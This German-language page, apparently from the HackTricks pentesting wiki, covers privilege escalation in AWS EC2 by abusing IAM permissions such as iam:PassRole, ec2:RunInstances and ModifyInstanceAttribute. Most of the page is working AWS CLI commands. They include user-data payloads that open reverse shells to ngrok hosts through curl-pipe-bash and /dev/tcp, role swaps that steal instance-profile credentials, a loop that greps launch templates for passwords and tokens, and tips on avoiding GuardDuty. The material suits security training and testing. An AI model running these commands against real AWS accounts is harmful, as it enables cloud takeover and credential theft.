# AWS - EC2 Privesc {{#include ../../../banners/hacktricks-training.md}} ## EC2 Für mehr **Informationen über EC2** siehe: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### `iam:PassRole`, `ec2:RunInstances` Ein Angreifer könnte **eine Instanz erstellen, die eine IAM-Rolle anfügt, und dann auf die Instanz zugreifen**, um die IAM-Rollenanmeldeinformationen vom Metadaten-Endpunkt zu stehlen. - **Zugriff über SSH** Führen Sie eine neue Instanz mit einem **erstellten** **SSH-Schlüssel** (`--key-name`) aus und sshen Sie sich dann ein (wenn Sie einen neuen erstellen möchten, benötigen Sie möglicherweise die Berechtigung `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` - **Zugriff über rev shell in Benutzerdaten** Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name=E \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer beliebigen EC2-Rolle, die an vorhandene Instanzprofile angehängt ist. #### Privilegieneskalation zu ECS Mit diesem Berechtigungsset könntest du auch **eine EC2-Instanz erstellen und sie in einem ECS-Cluster registrieren**. Auf diese Weise werden **ECS-Dienste** in der **EC2-Instanz** ausgeführt, auf die du Zugriff hast, und dann kannst du in diese Dienste (Docker-Container) eindringen und **ihre angehängten ECS-Rollen stehlen**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ --instance-type t2.micro \ --iam-instance-profile \ --count 1 --key-name pwned \ --user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access # The content of the user data is: #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` Um zu lernen, wie man **ECS-Dienste dazu zwingt,** auf dieser neuen EC2-Instanz ausgeführt zu werden, siehe: {{#ref}} aws-ecs-privesc.md {{#endref}} Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen. **Potenzielle Auswirkungen:** Direkter Privilegieneskalation zu ECS-Rollen, die an Aufgaben angehängt sind. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\ Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie auch **`iam:RemoveRoleFromInstanceProfile`** haben, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall). ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz verknüpfen: - Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert. - Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen). ### `ec2:RequestSpotInstances`,`iam:PassRole` Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`und`iam:PassRole`** kann eine **Spot-Instanz** mit einer **angehängten EC2-Rolle** und einer **rev shell** in den **Benutzerdaten** **anfordern**.\ Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle** **stehlen**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ --instance-count 1 \ --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` ### `ec2:ModifyInstanceAttribute` Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten. Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher sind die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** erforderlich. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 --// Content-Type: text/cloud-config; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="cloud-config.txt" #cloud-config cloud_final_modules: - [scripts-user, always] --// Content-Type: text/x-shellscript; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="userdata.txt" #!/bin/bash bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 --//' TEXT_PATH="/tmp/text.b64.txt" printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ --instance-id="$INSTANCE_ID" \ --attribute userData \ --value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder EC2 IAM-Rolle, die an einer erstellten Instanz angehängt ist. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ --launch-template-name bad_template \ --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ --image-id ami-0c1bc246476a5572b \ --instance-type t3.micro \ --iam-instance-profile EC2-CloudWatch-Agent-Role \ --user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --auto-scaling-group-name bad_auto \ --min-size 1 --max-size 1 \ --launch-configuration-name bad_config \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle. ### `!autoscaling` Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist). ### `ec2-instance-connect:SendSSHPublicKey` Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einen SSH-Schlüssel zu einem Benutzer hinzufügen und ihn verwenden, um darauf zuzugreifen (wenn er SSH-Zugriff auf die Instanz hat) oder um Privilegien zu eskalieren. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen SSH-Schlüssel zu einer seriellen Verbindung hinzufügen**. Wenn die serielle Verbindung nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`, um sie zu aktivieren**. Um sich mit dem seriellen Port zu verbinden, **müssen Sie auch den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --serial-port 0 \ --region "eu-west-1" \ --ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzernamen und ein Passwort kennen muss, um ihn auszunutzen. **Potenzielle Auswirkungen:** (Hochgradig unbewiesen) Direkter privesc zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind. ### `describe-launch-templates`,`describe-launch-template-versions` Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do echo "[*] Analyzing $i" aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata do echo "VersionNumber: $version" echo "$userdata" | base64 -d echo done | grep -iE "aws_|password|token|api" done ``` In den obigen Befehlen, obwohl wir bestimmte Muster (`aws_|password|token|api`) angeben, können Sie einen anderen Regex verwenden, um nach anderen Arten von sensiblen Informationen zu suchen. Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren. **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu IAM-Benutzer(n). ## Referenzen - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}}